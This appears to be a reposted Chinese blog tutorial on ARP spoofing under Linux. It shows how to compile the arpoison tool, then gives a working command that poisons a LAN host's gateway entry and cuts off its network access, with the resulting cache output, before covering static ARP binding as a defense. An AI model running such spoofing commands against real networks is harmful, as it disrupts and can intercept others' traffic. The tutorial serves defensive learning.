您的位置:首页 > 运维架构 > Linux

Linux系统ARP攻击的实现与防范

2016-03-10 16:12 423 查看
相信很多处于局域网的朋友对ARP攻击并不陌生,在我们常用的Windows操作系统下拥有众多ARP防火墙,可以很好的阻断ARP攻击,但是如果使用的是Linux系统要怎么做才能防止ARP攻击呢?所谓知己知彼,想要防御就需要先了解攻击的原理。这篇文章使用Ubuntu这个Linux发行版,实例演示Linux系统如何实施ARP攻击以及如何防范。

文章目录

[1].ARP的工作原理

首先简答的介绍一下什么是ARP(Address Resolution Protocol)即地址解析协议,是根据IP地址获取物理地址的一个TCP/IP协议。

希望了解更多ARP工作原理的朋友可以参考一下我前面写的两篇文章:

[CCNA图文笔记二]OSI参考模型和设备的对应关系 ,这篇文章中“数据链路层”那一节对交换机原理的描述,对理解ARP攻击非常有帮助。

局域网ARP攻击实现与防范[图文] ,这篇文章讲解的是Windows下的ARP攻击实现与防范。

[2].使用Gcc编译arpoison

开始之前,我们需要下载下面两个工具,提供了百度网盘和官方下载两种方式,供大家选择:

arpoison官方下载[
地址 ]

libnet官方下载[
地址 ]

arpoison-0.7百度网盘下载[
地址 ]

libnet-1.1.6.tar.gz百度网盘下载[
地址 ]

本文发表的时候,arpoison最新版是“arpoison-0.7”;libnet最新的稳定版是“libnet-1.1.6.tar.gz”,测试版是“libnet-1.2-rc3.tar.gz”,本文演示使用的是稳定版。

其中arpoison是我们今天的主角,它提供的是一个C语言编写的源文件,需要用GCC将它编译成可执行文件,而编译它需要用到libnet库中的头文件,所以我们需要先安装libnet库:

/*Ctrl+Alt+T打开一个新的shell,开始安装*/

/*如果没有安装gcc可以先使用下面的命令安装*/
www@qingsword.com:~$ sudo apt-get install gcc

/*我将上面的两个文件都下载到我的家目录中解压缩*/
www@qingsword.com:~$ tar -vxzf libnet-1.1.6.tar.gz
www@qingsword.com:~$ tar -vxzf arpoison-0.7.tar.gz

/*首先安装libnet*/
www@qingsword.com:~$ ls
arpoison-0.7  arpoison-0.7.tar.gz  libnet-1.1.6  libnet-1.1.6.tar.gz

www@qingsword.com:~/libnet-1.1.6$ cd libnet-1.1.6/
www@qingsword.com:~/libnet-1.1.6$ sudo ./configure
www@qingsword.com:~/libnet-1.1.6$ sudo make
www@qingsword.com:~/libnet-1.1.6$ sudo make install

/*安装完成后建议大家ls一下下面两个地方,因为版本不同libnet.a可能会出现在下面两个地方之一*/
/usr/lib/libnet.a
/usr/local/lib/libnet.a  //我这个版本出现在这里,记住这个位置,后面编译arpoison要用到。

/*编译arpoison*/
www@qingsword.com:~/libnet-1.1.6$ cd ../arpoison-0.7
www@qingsword.com:~/arpoison-0.7$ ls
arpoison.8  arpoison.c  LICENSE  Makefile  README

/*编译时需要用到libnet.a*/
www@qingsword.com:~/arpoison-0.7$ gcc arpoison.c /usr/local/lib/libnet.a -o arpoison

/*将编译好的arpoison移动到/bin下方便启动*/
www@qingsword.com:~/arpoison-0.7$ sudo mv arpoison /bin/arpoison


到这里准备工作全部完成了。

[3].Linux系统如何通过arpoison发起ARP攻击

首先介绍一下实验环境:

攻击者,系统Ubuntu,IP地址:192.168.1.241/24

被攻击者,系统ubuntu,IP地址:192.168.1.109/24,MAC地址:cc:1e:19:92:09:24

他们处于同一个局域网,局域网网关IP:192.168.1.1,网关真实MAC:10:d1:77:fe:28:bc

都使用有线连接(无线连接同样适用),本地连接设备号为eth0。

/*攻击者发动进攻,首先通过Ping获取目标MAC地址*/
www@qingsword.com:~$ ping 192.168.1.109

/*
* 不论能不能Ping通,等待几秒钟,使用下面的命令查看ARP缓存
* 第一行我们得到了192.168.1.109对应的MAC地址cc:1e:19:92:09:24
* 第二行是网关192.168.1.1对应的真实MAC地址10:d1:77:fe:28:bc
*/
www@qingsword.com:~$ arp -a
qingsword.com (192.168.1.109) 位于 cc:1e:19:92:09:24 [ether] 在 eth0
? (192.168.1.1) 位于 10:d1:77:fe:28:bc [ether] 在 eth0

/*
* 这个时候如果在被攻击者电脑上使用arp -a,我们会看到下面的内容
* 因为刚才攻击者Ping了我们,所以我们的ARP缓存中也会出现他的IP和对应的MAC
* 第二条同样是网关的真实MAC地址(注意等下网关MAC的变化)
*/
@qingsword.com:~$ arp -a
www.qingsword.com (192.168.1.241) 位于 00:ec:1f:90:2a:12 [ether] 在 eth0
? (192.168.1.1) 位于 10:d1:77:fe:28:bc [ether] 在 eth0

/*
* 攻击者开始发动ARP攻击(命令无断行)
* -i后面接本地网络设备号,如果是无线网络这里可能是wlan0
* -d后面是目标IP
* -s是网关IP
* -t后面是目标MAC
* -r后面接一个你伪造的MAC地址
* 回车后会持续发送,知道你按Ctrl+C终止它,也可以在最后添加一个-n参数,指定发送多少个数据包
*/
www@qingsword.com:~$ sudo arpoison -i eth0 -d 192.168.1.109 -s 192.168.1.1 -t cc:1e:19:92:09:24 -r 44:44:44:44:44:44

/*下面我们在被攻击者的机器上查看arp缓存,发现网关地址被篡改成了攻击者发送给我们的那个不存在的地址,这时候,被攻击者是无法正常访问网络的*/
@qingsword.com:~$ arp -a
? (192.168.1.1) 位于 44:44:44:44:44:44 [ether] 在 eth0


下面我们来看看如何防范这样的ARP攻击。

[4].Linux系统如何防范ARP攻击

最好的方法是使用静态绑定,前提是你需要知道网关的正确MAC地址,可以在没有出现ARP攻击时通过Ping网关IP得到正确的MAC地址,然后通过下面的方法静态绑定网关MAC地址:

/*arp -s后面跟网关的IP地址和真实的MAC地址*/
www@qingsword.com:~$ sudo arp -s 192.168.1.1 10:d1:77:fe:28:bc

/*查看ARP缓存PERM说明这是一条静态绑定ARP条目*/
www@qingsword.com:~$ arp -a
? (192.168.1.1) 位于 10:d1:77:fe:28:bc [ether] PERM 在 eth0

/*可以通过下面的命令删除静态绑定*/
www@qingsword.com:~$ arp -d 192.168.1.1 10:d1:77:fe:28:bc

如果你觉得上面的手动绑定太麻烦,想要系统启动时自动绑定网关MAC:

/*建立ethers文件在其中输入192.168.1.1 10:d1:77:fe:28:bc*/
www@qingsword.com:~$ vi /etc/ethers

/*保存后再在/etc/rc.local文件中增加arp -f命令*/
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: